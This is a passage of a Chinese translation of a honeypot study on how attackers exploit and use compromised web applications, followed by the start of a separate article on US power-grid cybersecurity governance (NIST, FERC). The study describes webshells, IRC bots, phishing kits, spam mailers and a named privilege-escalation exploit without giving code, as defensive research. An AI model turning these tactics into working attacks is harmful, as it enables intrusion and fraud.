根据这个定义,我们注册了232个交互会话作为渗透攻击的结果,我们预装了8268个shell,平均每个会话持续5分37秒,然而,其中我们注册的9个会话用时都在一个小时以上。依据系统命令的响应,最长的会话来自沙特阿拉伯,该会话向shell发送了663条命令,包括几个文件的手动编辑。

有趣的是,在攻击过程中最常见的一个行为是上传自定义的shell,即使攻击者攻入系统时使用的是在系统上已经存在的shell。因为攻击者知道使用其他人安装的shell含有后门并泄露他们信息的可能性更高。除了我们工具所提供的17个shell,我们还定义了HTTP模式来匹配攻击者上传的常见自定义shell,由此我们可以分析他们发出的命令。

在83%的情况下,攻击者试图使用至少一个主动命令(上传或是编辑文件、更改文件权限、创建文件或是目录、扫描主机、关闭进程、连接数据库、发送邮件等)。其余的会话纯粹是被动行为,攻击者仅仅是浏览我们的系统、下载源码和配置文件。

最后,在61%的会话中攻击者会上传一个新文件,50%的会话会试图修改机器上已存在的文件(其中的13%是页面篡改)。对于这些独立命令,最常用的是读取和列出文件和目录,随后是在系统上编辑文件、上传文件、运行命令、列出运行中进程以及下载文件。

六、攻击目标

在本节中,我们把关心的重点从攻击方法转向攻击动机。换句话说,我们会试图去了解攻击者在拿下网站后会做什么。他们是否会安装僵尸服务,他们是否会试图获取主机的管理员权限,他们是否会在应用程序中插入代码、植入后门或是恶意的iFrame。

honeyproxy 07

表2、分类结果

honeyproxy 08

图6、基于特殊文件上传的攻击行为

为了回答这些问题,我们分析了在渗透攻击阶段上传的文件,和在后渗透攻击时期创建和修改的文件。正如我们在第3节中提到的我们对每个文件的内容进行了规整,根据它们的相似性进行了归类。最后,我们手动标记了每个类型,以区分这些文件的目的。表2总结了归类的结果,我们的蜜罐收集了86.4%的单一文件。关于这些文件,图6展示了文件目的的类别。例如,在实验中我们观察到的1.7%文件是用来升级在感染的机器上提升权限,这不同于说1.7%的攻击者要提升机器权限。不幸的是,我们并不是总能将这些文件和攻击者的攻击行为对应起来。因此,我们通过鉴别在攻击期间上传特定文件的每个特定IP地址所完成的特定行为对攻击者行为进行评估。仅仅通过攻击者的IP地址来鉴别攻击者并不总是正确,但是这还是提供了一个近似的合理性。因此如果我们说某一类攻击的预计攻击概率有20%,这就意味着一个攻击者在他/她的操作中所上传的5个文件中至少有一个文件属于这类攻击。

只有14%的攻击者上传了至少属于两个不同类别的多个文件。这就意味着大多数的攻击者都有一个精确的目标,或是攻击者在常常的改变他们的IP地址,使我们很难跟踪他们。

在本节的其余部分我们将简要介绍这13个攻击类别。

6.1、收集信息

唯一文件比率:1.8%

预计攻击者比率:2.2%

这些文件主要包含在分析受攻击系统的自动脚本中,常用于手动攻击的第一个阶段,其中在使用恶意操作之前,攻击者试图收集被攻击系统的信息。一般情况下,我们观察到有一些攻击者使用脚本来搜索、存档和下载一些系统配置文件。

例如,在2012年4月7号一名攻击者便使用这种工具来攻击我们的蜜罐。攻击者使用普通浏览器和马来西亚IP地址,上传一个叫allsoft.pl的脚本。一旦脚本被执行,它会扫描包含CMS(如Wordpress、Joomla、WHM、phpBB、vBulletin)配置文件列表的系统,创建了一个能够找到的包含所有文件的tar归档,同时给攻击者返回一个指向所创建的文档文件的链接,这样很容易进行下载。这个脚本在用户和系统上的多个主目录之间迭代运行,以尽可能多的在受攻击机器上收集账户信息。

6.2、路过式下载

唯一文件比率:1.2%

预计攻击者比率:1.1%

我们目击到了一些创建Web下载的攻击,通过在我们的蜜罐服务上插入自定义的漏洞HTML代码,上传含有已知浏览器漏洞的文件,这种行为是为了对访问网站的用户机器进行渗透攻击,将用户机器变为攻击者的僵尸机器,之后用于大范围的非法活动。

这种攻击方式的一个例子是在2012年2月28日上传到我们蜜罐的intu.html文件。当网页被打开后,页面显示“正在交易,载入您的订单,请稍等”。后台恶意的avaScript加载iFrame同时指向托管在twistedtarts.net的文档。该文档是恶意程序且含有两个漏洞,CVE-2010-0188和CVE-2010-1885。Wepawet[8]在这个页面上传到我们蜜罐服务器的同一天将这个文档报告为了恶意软件。

6.3、第二阶段

唯一文件比率:37.2%

预计攻击者比率:49.4%

这种类型攻击包括下载者(设计用来下载同时执行其他文件的程序)、上传者(能够实现远程上传文件的网页)、Webshell和搭载后门的文档。这些是供攻击者选择完成基于Web方式攻击的工具,因为这些工具允许上传任何文件到受害者机器,或者在攻击者登录服务器终端后执行任意命令。大多数登录我们蜜罐的攻击采用混合Webshell和自定义脚本的方式来试图破解机器并在上面安装恶意软件。

这种行为的一个例子是在2012年1月1号6点50,一个来自美国科罗拉多州恩格尔伍德市的IP地址,其User-Agent设置为“blackberry8520_ver1_subvodafone”,该IP地址直接连接到运行着osCommerce的蜜罐上来,并利用文件上传漏洞上传了几种不同的PHP脚本,它们中大多数启动IRC机器人连接到不同的IRC服务器上。同一个人也上传了PHP shell来下载机器上的CMS配置文件。

事实上,攻击者并没有通过我们蜜罐代理进行连接,而是直接连接到了我们不常用的IP地址,从而引起了我们的关注。在我们的攻击日志上进行后向搜索,我们发现在不到24小时前,一个使用科罗拉多州恩格尔伍德市的另一个IP地址且用户代理设置为“bingbot/2.0”的自动系统连接到了我们的网站,并利用漏洞下载了osCommerce配置文件,该文件中包含了运行osCommerce虚拟机的真实IP地址。

6.4、提升权限

唯一文件比率:1.7%

预计攻击者比率:2.2%

权限提升在计算机安全史上是一种最古老的漏洞,但是它仍然很受人们的喜欢,因为它允许攻击者获得管理员权限并控制完整的机器。在共享Web托管环境的服务器中成功利用权限提升漏洞能够使攻击者修改在服务器上托管的每个站点的文件,如此可能让数百甚至上千个网站同时遭受攻击。

这类攻击的实例发生在2012年2月9日。一个使用匈牙利IP地址的攻击者在一台托管有Webshell的主机上上传了一个名为mempodipper.c的文件,并使用其中一个shell来尝试用gcc来编译它的源码。本机没有可用的编译器,因此,在5分钟后,攻击者上传了一个预编译的名为mempodipper的二进制ELF文件,同时试图通过使用shell来执行它。我们发现这个漏洞利用程序利用了一个使用了近来才被披露的漏洞——在这个攻击发生不到20天前发布的CVE-2012-0056。在攻击时这个漏洞利用程序通过已经被公开可用[27]的SUID /proc/PID/mem Write来提升Linux的本地权限。然而,我们虚拟机的内核并没有该漏洞。

6.5、扫描器

唯一文件比例:2.3%

预计攻击者比率:2.8%

这中活动的进行是为了能发现其他地方或是有远程漏洞的可以被攻击者利用的目标网站。如FTP扫描,使用“dorks”的查寻扫描,或是试图列出所有的在管理机上属于这个分类的域名称。

一个具体的例子是trdomain.php页面,该文件在12月16日上传到我们蜜罐,其IP地址来自土耳其。它包含一个本地域名称扫描器,从本地配置文件(如named.conf)拉取域名称配置信息,并从Google获得PageRank,以及文件根目录、用户名,并返回一个包含这些信息列的网页。页面的标题是“Domain ve User ListeLiyici —— by W£ßRooT”。截至目前,在网上搜索这些标题仍有许多结果,说明这种攻击很普通并被广泛传播。

6.6、页面篡改

唯一文件比率:28.1%

预计攻击者比率:27.7%

这种攻击在我们的蜜罐上是最常见的。在这种攻击中,攻击者修改蜜罐上存在的页面或是上传新的页面用于声明网站遭受攻击由他们负责。通常,但是不总是,声明和宗教或是政治宣传有关,或是为了搞笑或是令人震惊的画面。很多执行这些攻击的攻击者甚至连接到他们的个人网站或是Facebook页面上,在这里我们可以看到这些人主要是青少年在追求出名和在朋友面前吹嘘。

一次页面篡改的攻击发生在格林威治标准时间3月6日晚上8点,有人使用德国的IP地址连接后发现在我们机器管理的一个静态网页上藏着shell,并用它编辑了机器上的静态HTML页面。这个页面代码是使用复制和粘贴来使用Webshell上传。这个被篡改的页面包括一个来自作者的简短口号,使用JavaScript动画文本缓缓拉开的葡萄牙引语,和一组链接到黑客成员中每个人的Twitter页面,其中一些人的账户有超过1000个tweet和几百名跟随者。快速浏览下这些内容,我们会发现所有成员都在个人网站上贴出他们篡改的网页。显然,他们这样就是了为了建立一些声誉。这些都是从他们的个人Twitter的URL确定的——一个来自zone-h.org网站页面——报告他们之前篡改的页面统计。这些数据让人印象相当深刻,从2011年7月20日到现在写下了所有成员已经篡改的41600个网站,其中500是享有盛名的重要网站(政府网站,大学,或是跨国公司等)。

由于像这样的攻击,我们发现这是很常见的攻击做法,公开展示页面篡改的成果来宣传他们攻击的网站,就像在zone-h.org网站上展现的那些站点。似乎有些人是真正为了竞争在黑客网站上炫耀他们的技术,我们的蜜罐域名经常被他们作为战利品进行报道。

6.7、僵尸服务

唯一文件比率:28.1%

预计攻击者比率:27.7%

一些攻击者在利用我们的蜜罐后,通过上传专用PHP或是Perl脚本使我们的服务器加入到IRC僵尸网络中。

两个蜜罐虚拟机有这些最严重的服务漏洞,可以让攻击者在服务器上上传并运行任意文件,并允许通过6667端口建立对外连接。我们这么做是为了监听从我们机器发起攻击的IRC僵尸网络活动。我们只允许在6667端口上进行连接,让僵尸服务运行在标准IRC端口上连接到他们管理的聊天室。为了避免被僵尸牧人追查,每个连接到IRC端口的通道都通过私有保护的VPN来匿名我们的真实IP地址。之所以不允许本机有其他的出站连接,是为了避免我们的机器对其他主机发起攻击或被其他主机扫描。

我们的预测被证明是正确的,我们确实发现我们的两台机器连接到了IRC命令与控制服务器。对这些包的分析显示出了一些有趣信息。

起初,我们认为IRC僵尸网络是很少见的,相比在黑市中流通的大量基于Web的渗透攻击包。然而,上传到我们蜜罐上的文件的分析呈现相反的趋势,约200个不同的脚本启动了IRC僵尸主机。

另一个有意思的现象是IRC日志可以得知这些IRC僵尸网络都是被青少年操控的。一些僵尸牧人甚至放置链接到他们的Facebook或是Twitter账号资料中来向他们的朋友进行炫耀。虽然被青少年操作,但是我们大多数的日志显示IRC容纳了成百上千的僵尸主机(我们观察到的最大的僵尸网络由11900个僵尸主机组成)。

一些日志显示一些僵尸主机的控制者攻击了在其他IRC服务器上的对手(我们认为这是典型的脚本小子的做法),同时我们很关心这些年轻人是怎么处理钱的,且他们能够使用(而且可能由他们自己开发)自动化工具在搜索引擎上搜索并利用漏洞。我们收到了一些执行Dos攻击的命令,使用dorks进行引擎搜索,自动化渗透攻击,并根据指令报告用户名和密码,以及从攻陷的网站中窃取的信用卡凭证。

最后的一个有意思的发现是,根据IRC日志中所用的语言以及上传IRC脚本的IP地址分析,大多数僵尸主机都来自东南亚的国家(主要是马来西亚和印度尼西亚)。

6.8、钓鱼攻击

唯一文件比率:7.3%

预计攻击者比率:6.3%

钓鱼攻击是当前Web犯罪最危险的活动。我们发现了很多尝试在我们的蜜罐上安装钓鱼网页或是钓鱼网页攻击的证据。这些行为都是利益相关的,大多数的钓鱼网站都是网上银行副本,但是我们也收集到了一些网上电子邮件门户网站的钓鱼例子,甚至有极少数的网页冒充互联网服务供应商和航空公司的网页。

在蜜罐运行的100天里,我们的蜜罐总共收集了470个钓鱼网页相关的文件,其中129是完整的钓鱼攻击包(文档中常含有一个完整的Web钓鱼网站安装文件,包含图片、CSS文件,以及Web钓鱼脚本)。尼日利亚是这个攻击最活跃的国家,我们的蜜罐记录的来自尼日利亚的攻击中有45%是钓鱼攻击。

在我们的蜜罐上一个有趣的事件记录开始于3月27日。通过分析我们的蜜罐所接受的请求来源头,我们发现了来自1762个不同的IP地址的4776个请求,访问我们网页的请求来源设置的是sfr.fr的邮件服务器,一个法国主要的ISP之一。检查Web服务日志,我们发现所有的HTTP请求来源中都包含有来自sfr.fr请求的两个PNG图片文件。在3月24日这两个文件就上传到了我们的蜜罐,当来自SFR的第一波访问达到时,虚拟机已经被清理好几次了,但是我们还是在上传文件的快照中发现了图片的原始版本。奇怪的是,这些图片显示一条类似与SFR客户服务定期沟通的信息。所有请求来源为sfr.fr的用户在访问我们的蜜罐之后都会收到一条包含连接到那两个png文件的钓鱼邮件,而他们的Web客户端只是试图下载和显示这些邮件的内容。

6.9、垃圾邮件和消息洪水攻击

唯一文件比率:7.8%

预计攻击者比率:9.3%

很多用户似乎还在使用垃圾邮件这一技术在互联网上获利。我们发现的一些脚本确实是邮件程序,即用自动化方式使用脚本将垃圾邮件发送量给众多收件人。其他的一些脚本是来自邮件或是短信洪水发送者,从而代替发动Dos攻击。

我们的蜜罐收集到了大概600个这样的脚本。如在2月21日,一个叫做a1.php的脚本通过尼日利亚的IP地址上传到我们蜜罐,这个脚本是一个高度自定义的邮件发送程序,并允许给一个纯文本或是HTML格式列表的收件人发送垃圾邮件,并且该程序具有很多选项。它也能够被配置用来登录远程的SMTP服务器,目的是为了通过身份验证来发送邮件,在达到发送邮件的一个特定的阀值时能断开和重新连接到服务器,还有可能是为了避免被阻止。

6.10、链接养殖场 & 黑帽SEO

唯一文件比率:2.7%

预计攻击者比率:1.0%

链接养殖场是一个相互连接的网站集合,通常是一个有密集链接结构的网页,它的目标是提升网站群在搜索引擎的排名。相比之下,黑帽SEO是指使用非法或不道德的技术,如伪装,提升在搜索引擎的排名,或是处理搜索引擎及其爬虫查看和分类一个网页的方式。如果我们排除在论坛Web应用上自动发帖——一种通过高比率发帖连接到链接养殖场的行为,这种行为在我们的蜜罐上并没有被频繁观察到。

在3月19日,一个在我们的蜜罐上创建了很多网页的有趣攻击出现了。有人安装了完整功能的CMS,生成了数以百计的的静态HTML页面。所有生成的页面都安装在我们电子商务Web应用的子目录images/rf/下,包含俄文文本,以及用来展现的相关图像、CSS和JavaScript文件。这个网页结构是通过博客或是CMS引擎创建的,因为所有的网页都有着稠密的连接结构并指向另一个使用绝对链接(已经定制和包含我们蜜罐站点的域名)。我们认为这是连接到链接养殖场的一部分,或是一些仿制品的市场营销活动,因为我们分析的大多数网页上都有销售手表的广告。

最后,在小规模范围内,我们也看到了一些攻击者创建的带有广告的页面或是在合作者的网站上传页面内插入连接。这样做的目的是要获得超出广告的利润,或是改善他们的伙伴在搜索引擎上的排名。

6.11、代理和流量重定向

唯一文件比率:0.6%

预计攻击者比率:0.6%

Web犯罪分子总是寻找可靠的方式来隐藏他们的踪迹,随着时间的推移,只是通过开放的代理服务、TOR、开放重定向网页来进行恶意活动变的很难。事实上,这些服务通常都有超负荷的(恶意)流量,同时其平均表现也很糟糕,很有可能被有关当局监控着。在这种情况下,通过受攻击主机进行隧道通信就变得难能可贵,因为很容易把一个Web服务变成一个代理,而且通常运行Web服务的主机提供商都有着高带宽保证,从而使这些主机成为很有价值的目标。我们发现有些攻击者在蜜罐上上传代理脚本或是使用流量重定向系统,从而实现流量匿名的重定位或是将用户重定向到恶意来源或相关网站。

一个例子是,在2012年2月22日,一个蜜罐系统被上传了一个504KB的文档。这个文档里包含一个名为VPSProxy的代理工具,可以在http://wonted.ru/programms/vpsproxy/上获得,这是一个通过GUI客户端进行完全控制的PHP代理。就它具有的功能而言,如果被安装到多台服务器上,该工具会很容易被用于对接两个不同的连接。我们相信这样的工具可以帮助犯罪分子隐藏他们在互联网上的痕迹。

6.12、定制化攻击

唯一文件比率:1.9%

预计攻击者比率:2.6%

这种类型的攻击或是利用特定的服务漏洞或是利用其他无相匹配的类型服务的漏洞。例如,这一类攻击包括在服务器上扫描和利用Web服务漏洞的程序,如在4月9日上传到我们服务器一个Web网站的config.php脚本。这个PHP脚本提供了一个发现和攻击9个最知名管理系统的面板:即使被机器发现了,攻击者还能够自动修改它的配置。这个工具也包含其他脚本来利用本地和远程漏洞。

6.13、DOS & 暴力破解工具

唯一文件比率:4.6%

预计攻击者比率:2.9%

这一类型包含拒绝服务程序或是针对特定应用和服务的暴力破解攻击(如暴力破解工具、UDP和TCP洪水脚本)。

这一行为的有趣例子是在2012年4月7日上传到我们蜜罐上的暴力破解Web邮件的脚本。一个来自阿塞拜疆的IP使用Webshell上传了一个名为n.php的文件和一个名为WORD.TXT的1508个字词库。这个n.php文件一旦被执行,它就会使用cURL PHP库连接到box.az邮件接口,同时使用这个词典来暴力破解在程序里使用硬件编码的用户名的密码。我们的蜜罐实际上被登录后在三个不同的域名上传了多次n.php。攻击者试图多次执行脚本(在16分钟内进行了10次),并对其进行编辑(4次),像是在代码中寻找错误。实际上脚本的流量被我们的防火墙进行了简单地阻止。

七、结论

在本文中,我们介绍了基于多种有漏洞的真实Web应用的蜜罐服务实施和配置。通过采集的数据,我们研究了攻击者在拿下目标前、攻击过程中以及攻击之后的行为。

我们研究的结果给人们提供了一个在Web上当前状态下利用漏洞行为的有趣见解。一方面,我们能够证实某个类型攻击的趋势,如东欧国家垃圾评论的活动,同时有很多的骗局和钓鱼Web活动在非洲进行着[12]。药品广告似乎是垃圾邮件和垃圾评论中中最常见的主题,正如最近的研究发现的那样[9]

另一方面,我们也能够观察和研究大量的人工攻击,以及把感染目标从Web服务变成IRC僵尸服务。这说明通常认为已经过时的攻击行为还仍然很流行(特别在年轻的犯罪者中)且占据了站点攻击绝大部分比例。

我们当前的工作正朝着一个完全自动的、实时监控的蜜罐进行,以能够识别、分类每一次攻击,并用可视化方式显示攻击趋势和被攻击的目标。

参考文献

[1] IP Addresses of Search Engine Spiders. http://www.iplists.com/.

[2] Robots IP Address Ranges. http://chceme.info/ips/.

[3] Google Hack Honeypot. http://ghh.sourceforge.net/, 2005.

[4] Dshield web honeypot project. https://sites.Google.com/site/webhoneypotsite/, 2009.

[5] J. Caballero, C. Grier, C. Kreibich, and V. Paxson. Measuringpay-per-install: The commoditization of malware distribution.In Proceedings of the USENIX Security Symposium,2011.

[6] X. Chen, B. Francia, M. Li, B. Mckinnon, and A. Seker.Shared information and program plagiarism detection. InformationTheory, IEEE Transactions on, 50(7):1545–1551,2004.

[7] s. Commtouch. Compromised Websites: An Owner’s Perspective. ttp://stopbadware.org/pdfs/compromised-websites-an-ownersperspective.pdf, february 2012.

[8] M. Cova, C. Kruegel, and G. Vigna. Detection and Analysis of Drive-by-Download Attacks and Malicious JavaScript Code. In Proceedings of the International World Wide Web Conference (WWW), 2010.

[9] Cyberoam Technologies and Commtouch. Internet Threats Trend Report October 2012. http://www.cyberoam.com/downloads/ThreatReports/Q32012InternetThreats.pdf,october 2012.

[10] S. Esser. evalhook. http://www.php-security.org/downloads/evalhook-0.1.tar.gz, may 2010.

[11] M. Hofer and S. Hofer. ftp-deploy. http://bitgarten.ch/projects/ftp-deploy/, 2007.

[12] Imperva Inc. Imperva’s Web Application Attack Report.http://www.imperva.com/docs/HII_Web_

Application_Attack_Report_Ed2.pdf, january 2012.

[13] J. P. John, F. Yu, Y. Xie, A. Krishnamurthy, and M. Abadi.deSEO: Combating Search-Result Poisoning. In Proceedings of the USENIX Security Symposium, 2011.

[14] J. P. John, F. Yu, Y. Xie, A. Krishnamurthy, and M. Abadi.Heat-seeking honeypots: design and experience. In Proceedings of the International World Wide Web Conference (WWW), 2011.

[15] J. Kornblum. Identifying almost identical files using context triggered piecewise hashing. Digital Investigation, 3,Supplement(0):91 – 97, 2006.

[16] C. Leita and M. Dacier. Sgnet: A worldwide deployable framework to support the analysis of malware threat models.In Dependable Computing Conference, 2008. EDCC 2008.Seventh European, may 2008.

[17] T. Moore and R. Clayton. Evil searching: Compromise and recompromise of internet hosts for phishing. In Financial Cryptography, pages 256–272, 2009.

[18] M. M¨uter, F. Freiling, T. Holz, and J. Matthews. A generic toolkit for converting web applications into high-interaction honeypots, 2007.

[19] V. Nicomette, M. Kaˆaniche, E. Alata, and M. Herrb. Set-up and deployment of a high-interaction honeypot: experiment and lessons learned. Journal in Computer Virology, june 2010.

[20] F. Pouget, M. Dacier, and V. H. Pham. V.h.: Leurre.com: on the advantages of deploying a large scale distributed honeypot platform. In In: ECCE 2005, E-Crime and Computer Conference, pages 29–30, 2005.

[21] N. Provos. A virtual honeypot framework. In Proceedings of the USENIX Security Symposium, pages 1–14, 2004.

[22] N. Provos, P. Mavrommatis, M. A. Rajab, and F. Monrose.All Your iFrames Point to Us. In Proceedings of the USENIX Security Symposium, 2008.

(全文完)

他山之石:美国电网信息安全白皮书

$
0
0

作者:@IDF实验室 8w项目组


引言:

  最近乌克兰电网被黑事件和以色列电网遭受攻击的“传闻”,使以往仅仅是预测或者听闻的电网安全再度引发安全和社会业界的关注。作为人类社会文明特别是工业和信息文明标志的基础设施,其安全性和重要性可以说超越其他任何基础设施,特别是在人口密集的经济、科技、政治中心城市,通讯、交通、医疗、生活、教育,一旦出现大范围长时间的电力安全事故或故障,其后果难以估量。美剧《灭世》就曾经解构过这一恐怖的未来。而智能电网以及各种新能源的快速发展,必然带来电网基础设施及产业生态前所未有的巨变。对于追求极端国家民族秩序,试图重回旧时代的恐怖主义来言,如能对其敌对国家或者政府的电网发起成本低而影响巨大的网络攻击,让对手重回“石器时代”,无疑是极为富有诱惑力的。IDF实验室从2010年起就关注智能电网的相关技术以及安全影响,为此特编辑本文,对大洋彼岸的电力大国的信息安全治理与布局予以披露和介绍,供各界参考与借鉴。
  “他山之石,可以攻玉"——正如一位中国诗人说的那样:黑夜给了我黑色的眼睛,我却用它寻找光明。

usp003
 

1.1美国电网信息安全治理与组织

   在美国,与智能电网相关的美国机构主要有:

  usp001

 其中与电网信息安全关系较为密切的组织主要有:国家标准研究院(NIST)、美国联邦能源管理委员会(FERC)、北美电力可靠性协会(NERC)、美国电气和电子工程师协会(IEEE)、国际电工委员会(IEC)、全美公共事业管理委员会(NARUC)。

1.1.1 NIST

国家标准技术研究院(NIST)隶属于美国商务部,是政府标准化工作的主管部门。根据国会授权,制定事关国家重大利益的标准,协调联邦机构标准和私有部门标准的合格评定程序,推动美国标准化战略的实施,提升美国国家的竞争实力。

国家标准技术研究院的前身是美国国家标准局,是一个以研究为重点的组织,在美国科技界占有重要地位,近年来的年度平均预算约为9亿美元。

国家标准技术研究院最高领导层由院长、副院长和信息最高执行官三人组成。下设与信息技术有关的单位:Boulder实验室、技术服务部、技术研发部、电子与电工实验室、信息技术实验室。其它部门和实验室还有:Baldrige国家质量项目部、管理和财务部、生产发展合作部、生产工程实验室、化学科学技术实验室、材料科学工程实验室、物理实验室、建筑与防火研究室。组织结构如下图所示:

usp002

国家标准技术研究院代表政府参与标准化活动,从战略上对美国自愿性标准化活动实施科学有效的管理,并在美国政府和民间标准化机构之间架起沟通的桥梁,发挥纽带和协调作用,兼有“标准制定者”和“标准化活动管理者”的双重身份。

国家标准技术研究院是美国信息安全技术标准领域最具影响的标准化机构,在美国信息安全管理工作中扮演着十分重要的角色。它制定的信息安全规范和标准很多,主要涉及访问控制和认证技术、评价和保障、密码、电子商务、一般计算机安全、网络安全、风险管理、电讯、联邦信息处理等方面。

《2007能源自主与安全法》赋予了NIST“协调实现智能电网器件和系统互操作性的信息管理协议和模式标准框架的开发”的职责。NIST结合使用经济刺激法案中自己获得的拨款和来自能源部的1000万美元拨款来开展工作。

2009年 4月16日,美国国家标准与技术研究院(NIST)公布了分三阶段制定智能电网关键标准的规划。 

第一阶段的目标是促使公用事业机构、设备供应商、消费者、标准开发者和其他相关各方就智能电网标准达成一致。这个过程包括5月19-20日在华盛顿召开的大会。到秋初预期完成:智能电网架构;优先完成互操作和信息安全标准,以及一套支持实施的初步标准;其他标准需求的规划。 

第二阶段是发起成立一个正式伙伴关系组织,协调其他标准的开发,解决遗留问题和新技术的集成。 

第三阶段是到2010年底前制定测试和检验计划,保证智能电网设备和系统符合安全和互操作相关标准。

NIST还与美国电力科学研究院(EPRI)达成一份价值130万美元的协议,共同制定一份智能电网架构和标准路线图。

NIST于2009年9月发布了《NIST 智能电网互操作框架和标准路线图1.0》(草案),该报告指出了以下8个应该优先进行标准制定的领域:

需求响应和能源消费效率(Demand response and consumer energy efficiency)

广域事态感知(Wide-area situational awareness)

电能存储(Electric storage)

电能输送(Electric transportation)

高级计量基础设施(Advanced metering infrastructure)

配电网管理(Distribution grid management)

信息安全(Cyber security)

网络通信(Network communications) 

草稿定义了可用于智能电网的77个现存标准,并准备在2010年底前优先完成以下14项缺失标准的撰写:

智能电表升级标准(Smart meter upgradeability standard) (已完成) 

价格和产品定义通用规范(Common specification for price and product definition) ( 2010年初) 

能源交易通用调度机制(Common scheduling mechanism for energy transactions )(2009年末)

配电网管理通用信息模型(Common information model for distribution grid management)( 2010年底)

需求响应信号标准(Standard demand response signals) ( 2010年1月) 

能源使用信息标准(Standard for energy use information) ( 2010年1月) 

IEC 61850 对象/ DNP3 映射(IEC 61850 Objects / DNP3 Mapping) (2010) 

时间同步(Time synchronization) (2010中期) 

输配电系统模型映射(Transmission and distribution power systems models mapping) (2010年底) 

智能电网中IP协议簇使用指南(Guidelines for use of IP protocol suite in the Smart Grid )(2010年中期) 

智能电网无线通信使用准则(Guidelines for use of wireless communications in the Smart Grid) (2010中期) 

电能存储互连指引(Electric storage interconnection guidelines) (2010中期) 

插电式电动车互操作标准(Interoperability standards to support plug-in electric vehicles)(2010年9月) 

仪表数据图标准 (2010年底) 

2009年9月,NIST“网络安全协同工作组”还发布了《智能电网网络安全战略和要求》(NISTIR 7628)。该报告在网络安全风险管理框架和策略的基础上,进行了智能电网私有性影响评估(Privacy Impact Assessment)和逻辑界面分析(Logical Interface Analysis),提出了先进测量基础设施(Advanced Metering Infrastructure)的安全需求。

NIST强调,网络安全不仅来自于少数分子的蓄意破坏,也常来自于因错误操作、设备故障或自然灾害引起的信息基础设施损坏。信息基础设施方面存在的漏洞可能允许攻击者渗透网络、获取控制软件或改变配置条件,以不可预期的方式破坏智能电网。因此,包括NIST、国土安全部、能源部、能源管委会在内的美国联邦政府已经认识到了解决潜在网络安全威胁的重要性。其他网络威胁还包括:(1)网络复杂性增加会产生薄弱环节,并暴露给潜在的攻击者,以及产生一些无意的错误;(2)网络互联可能产生共同性薄弱环节;(3)受通信中断和恶意软件影响的风险增加,可能导致软件和系统的完整性和功能性受损;(4)潜在攻击者发挥破坏作用的网络接入点和路径增加;(5)包含客户私人信息在内的数据保密性受损。

随着智能电网的采用和推广,信息技术与电讯部门将会越来越直接地参与到相关工作。这些部门已经建立的网络安全的标准将在解决相关的薄弱环节和开展评估项目方面发挥作用。除了与这些部门面临的相同薄弱环节之外,由于具有系统复杂、利益相关团体众多和高度时间敏感性操作要求等特点,智能电网在网络安全方面面临的薄弱环节更多。

报告提出了先进测量设施在安全方面的要求,具体涉及以下7个方面:(1)系统与通信保护;(2)信息与文档管理;(3)系统发展与维护;(4)事故响应;(5)系统与信息完整性;(6)系统准入控制;(7)审计与核查。

1.1.2 FERC

美国联邦能源管理委员会(FERC)是一个内设于美国能源部的独立监管机构。根据能源部组织法案于1977年10月1日成立。主要职责是负责依法制定联邦政府职权范围内的能源监管政策及实施监管,具体包括监管跨州的电力销售、批发电价、水电建设许可证、天然气定价和石油管道运输费,负责批准和许可液化天然气接收站、跨州的天然气管道和非联邦的水电项目。其职能还包括:监管用于跨州贸易的天然气的传输和销售;监管跨州贸易中的管道石油的运输;监管跨州贸易中的电力传输和批发;私营、市和州的水电项目的许可和核查;批准跨州天然气管道和储备设施的选址和废弃,保证LNG接收站的安全运行和可靠;确保跨州的高压输电系统可靠性;监控和调查能源市场;对于违反FERC能源法规的能源实体和个人处以民事惩罚;监督与天然气和水电项目有关的环境事务以及重要的电力政策倡议;管理受监管公司的会计、财务报告和行为。

FERC主要拥有以下权力:市场准入审批,价格监管,受理业务申请,受理举报投诉,行使行政执法与行政处罚等。此外,FERC还负责就监管事务进行听证和争议处理等。 

1、市场准入。如对石油市场的准入,监管内容包括从业资格的认证审定,组织油气资源勘探、开发的招标和许可证发放,对矿权使用和油气资源的合理开发和利用实施监督管理,对作为矿区使用费征收依据的油气产量水平进行评估等。 

2、价格监管。主要监管管道输油公司的运营和费率、管道服务和开放;监控天然气管道输送价格,制定费率或价格公式,提出最高限制或最低限价等。 

3、受理业务申请。联邦能源监管委员会和各州公用事业监管委员会对能源市场的监管主要是通过受理业务申请和处理举报投诉这两种形式实现的。企业要办理业务许可事项,如更改电力价格、天然气价格或者服务条款,要求监管机构对纠纷进行裁决,或者消费者要求相关的公司进行赔偿等事项,都需要向监管机构提交文字申请材料。对重要公共设施和重大项目实行监管,包括审批长距离油气管道、液化天然气接收站的建设和运行,决定海上石油设施的建设与停用,监管长距离油气管道的运营等,对生产者之间、生产者与消费者之间发生的纠纷进行调解和仲裁。 

4、受理举报投诉。主要有两种方式:热线电话和书面举报投诉。对电网接入、互联纠纷、供电服务质量、电费账单等的投诉举报案件,90%以上通过非正式的程序进行解决。如果非正式协调不能解决,则进入监管机构的正式程序,通常由监管机构的行政法官进行听证和裁决,直至最终上诉到法院判决。

5、行政执法与处罚。联邦能源监管委员会和各州公用事业监管委员会,除拥有市场准入的审批权和定价权以外,还拥有强大的执法队伍和行政处罚权力。根据2005年新颁布的《能源政策法》,联邦能源监管委员会可以对每件市场违规案件处以每天100万美元的罚款,对恶意操纵市场的企业负责人给予处罚。

2008年1月,FERC通过了由NERC制定的 “关键基础设施保护”(CIP)标准,旨在保护电网,预防由于薄弱的访问控制、软件漏洞或数据控制系统方面的其他漏洞而导致的计算机攻击。

为推进和加快智能电网标准化进程,FERC在2009年3月发布了智能电网政策声明与行动计划提议(Smart Grid Policy)。联邦能源管理委员会认为,应主要通过以下四个方面实现智能电网的标准治理。

信息安全(Cyber security):要能够保证可互操作性标准与协议能够与所有现行的可靠性标准保持一致,如与现有的关键基础架构保护(CIP)标准等的兼容。联邦能源管理委员会同时还提出了智能电网技术必须解决的其他问题,如通信数据的完整性、智能网格设备的物理保护、防止未经授权者使用等。

系统间通信和协调能力(Inter-system Communication and Coordination):要开发通用框架标准和通信软件模型,以使智能电网各组成部分能够在巨大的能源系统中顺畅地通信。

广域情景意识(Wide-Area Situational Awareness):互联的系统要能够彼此实时可见,且保证可靠的相互协调性。要保证电力系统的工作人员拥有必要的设备和技术,可以完整地看到整个系统并进行有效地监控和操作,还要能够分析系统中出现的异常情况和事故等问题并有效地解决。各个区域性转送组织(RTO)之间要具有良好的通信和协同能力,联邦能源管理委员会鼓励区域性转送组织在这方面起主导作用。

